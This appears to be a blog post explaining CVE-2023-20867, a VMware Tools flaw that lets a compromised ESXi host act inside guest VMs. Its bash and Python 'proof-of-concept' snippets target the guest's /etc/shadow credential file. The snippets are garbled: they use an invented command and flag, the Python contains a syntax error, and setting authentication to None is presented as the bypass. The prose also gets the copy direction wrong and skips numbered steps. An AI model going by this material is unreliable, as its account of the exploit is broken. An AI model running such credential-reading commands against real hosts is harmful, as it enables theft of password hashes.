CVE-2023-20867 - How a Compromised ESXi Host Can Exploit VMware Tools and Break Guest Confidentiality

In the world of virtualization, VMware Tools is the bridge connecting host and guest. It lets system admins copy files, run scripts, and manage Linux or Windows virtual machines (VMs) with ease—all from the hypervisor (the ESXi host). But what happens if that bridge is weaker than you think? In 2023, a critical issue was discovered: CVE-2023-20867, a vulnerability that, when exploited on a compromised ESXi host, can break into the guest VM and destroy trust at its core.

This post unpacks CVE-2023-20867 in plain American English, shows how exploitation can look in code, and explains why it’s a big deal for virtual machine security.

What is CVE-2023-20867?

CVE-2023-20867 is a vulnerability in VMware Tools that allows a fully compromised ESXi host to bypass the authentication mechanisms that protect host-to-guest operations. In simple terms: even if you have sensitive or private data inside your guest VM, if the host gets hacked, an attacker could reach inside your VM—reading, copying, or even altering data—without running code inside the guest OS or logging in.

Impact:

Compromises the confidentiality and integrity of files and operations on the VM.

- Allows attackers with root access on the host to perform unsanctioned actions inside the guest, defeating the isolation you expect from virtualization.

VMware Advisory:  
- VMSA-2023-0013

Why Should You Care?

In many data centers, dozens or even hundreds of VMs might run on a single ESXi host. System admins, security teams, and cloud customers rely on those virtual walls for privacy and safety. A flaw like CVE-2023-20867 means that, if the host goes down, everything inside might be up for grabs.

How Does CVE-2023-20867 Work?

VMware Tools uses a component called *VMCI* (Virtual Machine Communication Interface) for communication between host and guest. Some operations, like copying files from the host to the guest, are supposed to require authentication inside the guest. But on vulnerable versions, a compromised ESXi host can:

Trigger commands or copy files into the guest—no guest OS credentials, no guest user involvement

In the language of a pen tester: *if you own the host, you suddenly own the guest too.*

Exploit Scenario Explained

Imagine an attacker gets root access on the ESXi host *(root@esxi)*. They want to copy a sensitive file (e.g., /etc/shadow) from their host to a guest VM running Ubuntu. Ordinarily, they'd be blocked by VMware Tools’ guest authentication. But with CVE-2023-20867, the attacker can use VMware internal APIs to push or pull files without permission.

Use local or remote APIs to communicate via VMCI channel to guest

3. Issue a file operation request to the VMware Tools process inside the guest, *without proper authentication*

Proof-of-Concept: Exploiting VMware Tools via vmware-rpctool

For demonstration purposes, imagine using the vmware-rpctool binary or relevant APIs from Python to trigger guest operations.

Bash Example (Pseudo-Exploit)

# On ESXi host with VMware Tools running in the guest

export VMID="1234"   # Replace with the VM's ID
export FILE_ON_GUEST="/etc/shadow"
export TEMP_ON_HOST="/tmp/shadow_copy"

# Hypothetical call to copy a file from guest without proper guest authentication
vmware-vim-cmd vmsvc/tools.copyFileFromGuest $VMID $FILE_ON_GUEST $TEMP_ON_HOST --no-auth

Note: The real exploit uses internal APIs, not command-line tools, but the danger stands: if authentication can be bypassed, any file in the guest OS is accessible to the attacker.

Python Example (Simplified)

# Example using pyVmomi (VMware vSphere API Python library)
from pyVim.connect import SmartConnectNoSSL, Disconnect
from pyVmomi import vim
import ssl

si = SmartConnectNoSSL(host="esxi-host-ip", user="root", pwd="YOUR_PASSWORD")
content = si.RetrieveContent()
vm = [vm for vm in content.viewManager.CreateContainerView(content.rootFolder,
    [vim.VirtualMachine], True).view if vm.name == "target-vm"][]

# Normally requires guest credentials
# But with the vuln, attacker can skip these
spec = vim.vm.guest.FileManager.CopyFileFromGuestToHostSpec(
    guestAuthentication=None,   # Bypass!
    guestFilePath="/etc/shadow",
    hostFilePath="/tmp/shadow_copy"
)

file_mgr = content.guestOperationsManager.fileManager
file_mgr.CopyFileFromGuestToHostInVM(vm, spec)

> *This code is academic! Full exploitation needs privs and internal understanding.*

Mitigation and Fixes

- Patch VMware Tools to the latest versions: Check the official advisory for your operating system and Tools version.
- Harden your hosts: Don’t let attackers get root on ESXi. Use strong passwords, regular patching, network isolation.

References

- VMware Security Advisory: VMSA-2023-0013
- CVE Details: CVE-2023-20867 on MITRE
- VMware Tools Documentation: VMware Tools Docs
- pyVmomi Python Library

Final Thoughts

CVE-2023-20867 is a perfect example of why “virtual isolation” is not bulletproof—especially when the underlying host is lost. If you run sensitive infrastructure in VMs, always keep both the guest and host patched, and never assume the host isn’t a target. Attackers love weak bridges.

*Did you find this helpful, or do you need further technical details? Drop your questions below! Stay safe and always keep your VMware Tools up to date.*

Timeline

Published on: 06/13/2023 17:15:00 UTC
Last modified on: 06/16/2023 14:24:00 UTC